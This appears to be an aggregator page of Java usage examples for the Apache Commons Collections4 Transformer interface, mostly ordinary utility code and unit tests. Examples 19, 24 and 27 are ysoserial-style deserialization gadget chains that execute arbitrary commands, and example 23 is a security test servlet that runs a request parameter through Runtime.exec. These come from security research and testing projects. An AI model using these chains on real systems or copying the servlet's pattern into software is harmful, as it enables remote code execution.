Java Code Examples for org.apache.commons.collections4.Transformer

The following examples show how to use org.apache.commons.collections4.Transformer. These examples are extracted from open source projects. You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example 1
/**
 * Creates a Node from a Transformer<Trio<?,?,?>,?>.
 * @param <T> Type of the Collection entry.
 * @param <R> Return type.
 * @param t a tri-transformer that accepts a <?,?,?> and returns a <?>.
 * @param sub1 first  Node at `depth+1` in the tree.
 * @param sub2 second Node at `depth+1` in the tree.
 * @param sub3 third  Node at `depth+1` in the tree.
 * @return a new Node.
 */
public static <T,R> Node<T,R> createNode(final Transformer<Trio<Object,Object,Object>,R> t,
      final Node<T,?> sub1, final Node<T,?> sub2, final Node<T,?> sub3)
{
   return new Node<T,R>()
   {
      @Override
      public R exec(T element)
      {
         Object o1 = sub1.exec(element);
         Object o2 = sub2.exec(element);
         Object o3 = sub3.exec(element);
         return t.transform(new Trio<>(o1, o2, o3));
      }
   };
}
 
Example 2
/**
 * Returns a Map of connections from a Map of AccessInformation.
 * Uses a decorator ({@link TransformedMap}.
 * @param map to decorate.
 * @return decorator.
 */
private static Map<UUID, Connection> mapTransform(final Map<UUID, AccessInformation> map)
{
   return new TransformedMap<>
   (
         map,

         new Transformer<Duo<UUID, AccessInformation>, Connection>()
         {
            @Override
            public Connection transform(Duo<UUID, AccessInformation> u)
            {
               return new Connection(u.getA(), u.getB());
            }
         }
   );
}
 
Example 3
/** gt, greater than. */
public static Transformer<Duo<Object, Object>, Boolean> gt()
{
   return new Transformer<Duo<Object, Object>, Boolean>()
   {
      @Override
      public Boolean transform(Duo<Object, Object> d)
      {
         if (involvesNumbers(d))
         {
            return Number.class.cast(d.getA()).doubleValue() >
                   Number.class.cast(d.getB()).doubleValue();
         }
         if (involvesDates(d))
         {
            Duo<Calendar, Calendar> duo = asDuoOfCalendar(d);
            return duo.getA().after(duo.getB());
         }
         throw new IllegalStateException(notComparableMsg(d));
      }
   };
}
 
Example 4
/** lt, lower than. */
public static <T> Transformer<Duo<Object, Object>, Boolean> lt()
{
   return new Transformer<Duo<Object, Object>, Boolean>()
   {
      @Override
      public Boolean transform(Duo<Object, Object> u)
      {
         if (involvesNumbers(u))
         {
         return Number.class.cast(u.getA()).doubleValue() <
                Number.class.cast(u.getB()).doubleValue();
         }
         if (involvesDates(u))
         {
            Duo<Calendar, Calendar> duo = asDuoOfCalendar(u);
            return duo.getA().before(duo.getB());
         }
         throw new IllegalStateException(notComparableMsg(u));
      }
   };
}
 
Example 5
/** le, lower or equals than. */
public static <T> Transformer<Duo<Object, Object>, Boolean> le()
{
   return new Transformer<Duo<Object, Object>, Boolean>()
   {
      @Override
      public Boolean transform(Duo<Object, Object> u)
      {
         if (involvesNumbers(u))
         {
         return Number.class.cast(u.getA()).doubleValue() <=
                Number.class.cast(u.getB()).doubleValue();
         }
         if (involvesDates(u))
         {
            Duo<Calendar, Calendar> duo = asDuoOfCalendar(u);
            return duo.getA().before(duo.getB()) || duo.getA().equals(duo.getB());
         }
         throw new IllegalStateException(notComparableMsg(u));
      }
   };
}
 
Example 6
/** substringof. */
public static Transformer<Duo<String, String>, Boolean> substringof()
{
   return new Transformer<Duo<String, String>, Boolean>()
   {
      @Override
      public Boolean transform(Duo<String, String> u)
      {
         if (u == null || u.getA() == null)
         {
            return false;
         }
         return u.getA().contains(u.getB());
      }
   };
}
 
Example 7
/** endswith. */
public static Transformer<Duo<String, String>, Boolean> endswith()
{
   return new Transformer<Duo<String, String>, Boolean>()
   {
      @Override
      public Boolean transform(Duo<String, String> u)
      {
         if (u == null || u.getA() == null)
         {
            return false;
         }
         return u.getA().endsWith(u.getB());
      }
   };
}
 
Example 8
/** startswith. */
public static Transformer<Duo<String, String>, Boolean> startswith()
{
   return new Transformer<Duo<String, String>, Boolean>()
   {
      @Override
      public Boolean transform(Duo<String, String> u)
      {
         if (u == null || u.getA() == null)
         {
            return false;
         }
         return u.getA().startsWith(u.getB());
      }
   };
}
 
Example 9
/** length. */
public static Transformer<String, Integer> length()
{
   return new Transformer<String, Integer>()
   {
      @Override
      public Integer transform(String u)
      {
         if (u == null)
         {
            return 0;
         }
         return u.length();
      }
   };
}
 
Example 10
/** indexof. */
public static Transformer<Duo<String, String>, Integer> indexof()
{
   return new Transformer<Duo<String, String>, Integer>()
   {
      @Override
      public Integer transform(Duo<String, String> u)
      {
         if (u == null || u.getA() == null)
         {
            return -1;
         }
         return u.getA().indexOf(u.getB());
      }
   };
}
 
Example 11
/** substring(string, int).  */
public static Transformer<Duo<String, Integer>, String> substring()
{
   return new Transformer<Duo<String, Integer>, String>()
   {
      @Override
      public String transform(Duo<String, Integer> u)
      {
         if (u == null || u.getA() == null)
         {
            return null;
         }
         return u.getA().substring(u.getB());
      }
   };
}
 
Example 12
/** substring(string, int, int). */
public static Transformer<Trio<String, Integer, Integer>, String> substring2()
{
   return new Transformer<Trio<String, Integer, Integer>, String>()
   {
      @Override
      public String transform(Trio<String, Integer, Integer> u)
      {
         if (u == null || u.getA() == null)
         {
            return null;
         }
         return u.getA().substring(u.getB(), u.getC() - u.getB());
      }
   };
}
 
Example 13
/** tolower. */
public static Transformer<String, String> tolower()
{
   return new Transformer<String, String>()
   {
      @Override
      public String transform(String u)
      {
         if (u == null)
         {
            return null;
         }
         return u.toLowerCase();
      }
   };
}
 
Example 14
/** trim. */
public static Transformer<String, String> trim()
{
   return new Transformer<String, String>()
   {
      @Override
      public String transform(String u)
      {
         if (u == null)
         {
            return null;
         }
         return u.trim();
      }
   };
}
 
Example 15
/**
 * Test group count null predicate.
 */
@Test
public void testGroupCountNullPredicate(){
    List<User> list = toList(//
                    new User("张飞", 20),
                    new User("关羽", 30),
                    new User("赵云", 50),
                    new User("刘备", 40),
                    new User("刘备", 30),
                    new User("赵云", 50));

    Map<String, Map<Object, Integer>> map = AggregateUtil
                    .groupCount(list, toArray("name"), (Map<String, Transformer<Object, Object>>) null);
    assertThat(
                    map.get("name"),
                    allOf(//
                                    hasEntry((Object) "刘备", 2),
                                    hasEntry((Object) "赵云", 2),
                                    hasEntry((Object) "张飞", 1),
                                    hasEntry((Object) "关羽", 1)));
}
 
Example 16
Source Project: ontopia   Source File: ClassInstanceIndex.java    License: Apache License 2.0 5 votes vote down vote up
@Override
public Collection<VariantNameIF> getAllVariantNames() {
  Collection<Collection<VariantNameIF>> collected = CollectionUtils.collect(getAllTopicNames(), 
          new Transformer<TopicNameIF, Collection<VariantNameIF>>() {
    @Override
    public Collection<VariantNameIF> transform(TopicNameIF input) {
      return input.getVariants();
    }
  });
  return createComposite(collected);
}
 
Example 17
Source Project: commerce-cif-connector   Source File: children.java    License: Apache License 2.0 5 votes vote down vote up
@SuppressWarnings("unchecked")
@Override
public Iterator<Resource> listChildren() {
    return new TransformIterator(new FilterIterator(super.listChildren(), predicate), new Transformer() {
        public Object transform(Object o) {
            return new PredicatedResourceWrapper((Resource) o, predicate);
        }
    });
}
 
Example 18
public void refreshAuthorsList() {
    if (author!=null && author.getHcparties().size()>0) {
        setAuthorsList(StringUtils.join(CollectionUtils.collect(author.getHcparties(), new Transformer<HcpartyType, String>() {
            @Override
            public String transform(HcpartyType hcpartyType) {
                String title = "";
                for (CDHCPARTY cd : hcpartyType.getCds()) {
                    if (cd.getS().equals(CDHCPARTYschemes.CD_HCPARTY)) {
                        title = cd.getValue();
                        break;
                    }
                }
                String name = hcpartyType.getName();
                String familyname = hcpartyType.getFamilyname();
                String firstname = hcpartyType.getFirstname();

                StringBuilder sb = new StringBuilder();

                if (!StringUtils.isEmpty(title)) {sb.append(title).append(" ");}
                if (!StringUtils.isEmpty(name)) {sb.append(name).append(" ");}
                if (!StringUtils.isEmpty(familyname)) {sb.append(familyname).append(" ");}
                if (!StringUtils.isEmpty(firstname)) {sb.append(firstname).append(" ");}

                return sb.toString();
            }
        }), ","));
    } else {
        setAuthorsList("");
    }
}
 
Example 19
Source Project: ysoserial   Source File: CommonsCollections4.java    License: MIT License 5 votes vote down vote up
public Queue<Object> getObject(final String command) throws Exception {
	Object templates = Gadgets.createTemplatesImpl(command);

	ConstantTransformer constant = new ConstantTransformer(String.class);

	// mock method name until armed
	Class[] paramTypes = new Class[] { String.class };
	Object[] args = new Object[] { "foo" };
	InstantiateTransformer instantiate = new InstantiateTransformer(
			paramTypes, args);

	// grab defensively copied arrays
	paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
	args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

	ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

	// create queue with numbers
	PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
	queue.add(1);
	queue.add(1);

	// swap in values to arm
	Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
	paramTypes[0] = Templates.class;
	args[0] = templates;

	return queue;
}
 
Example 20
Source Project: feilong-core   Source File: ToMapTransformerTest.java    License: Apache License 2.0 5 votes vote down vote up
/**
 * Test null input map.
 */
@Test
public void testNullInputMap(){
    Transformer<String, Integer> transformer = new SimpleClassTransformer<>(Integer.class);

    //key和value 都转成integer 使用相同的转换器
    Map<Integer, Integer> returnMap = toMap(null, transformer, transformer);

    assertEquals(emptyMap(), returnMap);
}
 
Example 21
@Test
public void testGroupCountNullPredicate1(){
    List<User> list = toList(//
                    new User("张飞", 20),
                    new User("关羽", 30),
                    new User("赵云", 50),
                    new User("刘备", 40),
                    new User("刘备", 30),
                    new User("赵云", 50));

    Map<String, Map<Object, Integer>> map = AggregateUtil
                    .groupCount(list, toArray("name", "age"), (Map<String, Transformer<Object, Object>>) null);
    assertThat(
                    map.get("name"),
                    allOf(//
                                    hasEntry((Object) "刘备", 2),
                                    hasEntry((Object) "赵云", 2),
                                    hasEntry((Object) "张飞", 1),
                                    hasEntry((Object) "关羽", 1)));
    assertThat(
                    map.get("age"),
                    allOf(//
                                    hasEntry((Object) 20, 1),
                                    hasEntry((Object) 30, 2),
                                    hasEntry((Object) 50, 2),
                                    hasEntry((Object) 40, 1)));
}
 
Example 22
Source Project: icure-backend   Source File: FilterUtils.java    License: GNU General Public License v2.0 5 votes vote down vote up
@SuppressWarnings("unchecked")
public static <T> Predicate<T> getPredicateAllExist(List<Filter> filters) {
	List<Predicate<T>> convertedSubpredicates = (List<Predicate<T>>) CollectionUtils.collect(filters, new Transformer<Filter, Predicate<T>>() {
		@Override
		public Predicate<T> transform(Filter filter) {
			return getPredicate(filter);
		}
	});
	return new AllExistsPredicate<>(convertedSubpredicates.toArray(new Predicate[]{}));
}
 
Example 23
Source Project: openrasp-testcases   Source File: Deserialization.java    License: MIT License 5 votes vote down vote up
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    try {
        String id = req.getParameter("id");
        if (id != null) {
            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
                            new Object[]{"getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
                            new Object[]{null, new Object[0]}),
                    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{id})
            };
            Transformer transformerChain = new ChainedTransformer(transformers);
            Map innermap = new HashMap();
            innermap.put("value", "value");
            Map outmap = TransformedMap.transformingMap(innermap, null, transformerChain);
            Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
            ctor.setAccessible(true);
            Object instance = ctor.newInstance(Retention.class, outmap);
            File f = new File("obj");
            ObjectOutputStream outStream = new ObjectOutputStream(new FileOutputStream(f));
            outStream.writeObject(instance);
            outStream.flush();
            outStream.close();
            ObjectInputStream in = new ObjectInputStream(new FileInputStream("obj"));
            in.readObject();
            in.close();
        }
    } catch (Exception e) {
        resp.getWriter().println(e);
    }
}
 
Example 24
Source Project: ysoserial-modified   Source File: CommonsCollections4.java    License: MIT License 5 votes vote down vote up
public Queue<Object> getObject(CmdExecuteHelper cmdHelper) throws Exception {
    
	Object templates = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());

	ConstantTransformer constant = new ConstantTransformer(String.class);

	// mock method name until armed
	Class[] paramTypes = new Class[] { String.class };
	Object[] args = new Object[] { "foo" };
	InstantiateTransformer instantiate = new InstantiateTransformer(
			paramTypes, args);

	// grab defensively copied arrays
	paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
	args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

	ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

	// create queue with numbers
	PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
	queue.add(1);
	queue.add(1);

	// swap in values to arm
	Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
	paramTypes[0] = Templates.class;
	args[0] = templates;

	return queue;
}
 
Example 25
/**
 * Test group count null property name.
 */
@Test(expected = NullPointerException.class)
public void testGroupCountNullPropertyNames(){
    User user1 = new User(2L);
    user1.setAge(18);

    AggregateUtil.groupCount(toList(user1), (String[]) null, (Map<String, Transformer<Object, Object>>) null);
}
 
Example 26
@Test
public void testGroupCount(){
    List<User> list = toList(//
                    new User("张飞", 20),
                    new User("关羽", 30),

                    new User("刘备", 40),
                    new User("刘备", 30),
                    new User("赵云", 50),
                    new User("赵云", 50));

    Map<String, Map<Object, Integer>> map = AggregateUtil
                    .groupCount(list, toArray("name", "age"), (Map<String, Transformer<Object, Object>>) null);

    assertThat(
                    map.get("name"),
                    allOf(//
                                    hasEntry((Object) "张飞", 1),
                                    hasEntry((Object) "关羽", 1),
                                    hasEntry((Object) "刘备", 2),
                                    hasEntry((Object) "赵云", 2)
                    //
                    ));

    assertThat(
                    map.get("age"),
                    allOf(//
                                    hasEntry((Object) 20, 1),
                                    hasEntry((Object) 30, 2),
                                    hasEntry((Object) 40, 1),
                                    hasEntry((Object) 50, 2)
                    //
                    ));

}
 
Example 27
Source Project: JavaSerialKiller   Source File: CommonsCollections4.java    License: MIT License 5 votes vote down vote up
public Queue<Object> getObject(final String command) throws Exception {
	TemplatesImpl templates = Gadgets.createTemplatesImpl(command);

	ConstantTransformer constant = new ConstantTransformer(String.class);

	// mock method name until armed
	Class[] paramTypes = new Class[] { String.class };
	Object[] args = new Object[] { "foo" };
	InstantiateTransformer instantiate = new InstantiateTransformer(
			paramTypes, args);

	// grab defensively copied arrays
	paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
	args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

	ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

	// create queue with numbers
	PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
	queue.add(1);
	queue.add(1);

	// swap in values to arm
	Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
	paramTypes[0] = Templates.class;
	args[0] = templates;

	return queue;
}
 
Example 28
Source Project: feilong-core   Source File: ToMapTransformerTest.java    License: Apache License 2.0 5 votes vote down vote up
/**
 * Test empty input map.
 */
@Test
public void testEmptyInputMap(){
    Transformer<String, Integer> transformer = new SimpleClassTransformer<>(Integer.class);

    //key和value 都转成integer 使用相同的转换器
    Map<Integer, Integer> returnMap = toMap(new HashMap<String, String>(), transformer, transformer);

    assertEquals(emptyMap(), returnMap);
}
 
Example 29
Source Project: riiablo   Source File: GraphPath.java    License: Apache License 2.0 5 votes vote down vote up
public Iterator<Vector2> vectorIterator() {
  return IteratorUtils.transformedIterator(new Array.ArrayIterator<>(nodes), new Transformer<Point2, Vector2>() {
    final Vector2 tmp = new Vector2();

    @Override
    public Vector2 transform(Point2 input) {
      return tmp.set(input.x, input.y);
    }
  });
}
 
Example 30
public TransformedMap(Map<K,Vi> input, Transformer<Duo<K,Vi>,Vo> transformer)
{
   Objects.requireNonNull(input, "input map must not be null");
   Objects.requireNonNull(transformer, "transformer must not be null");

   this.input = input;
   this.transformer = transformer;
}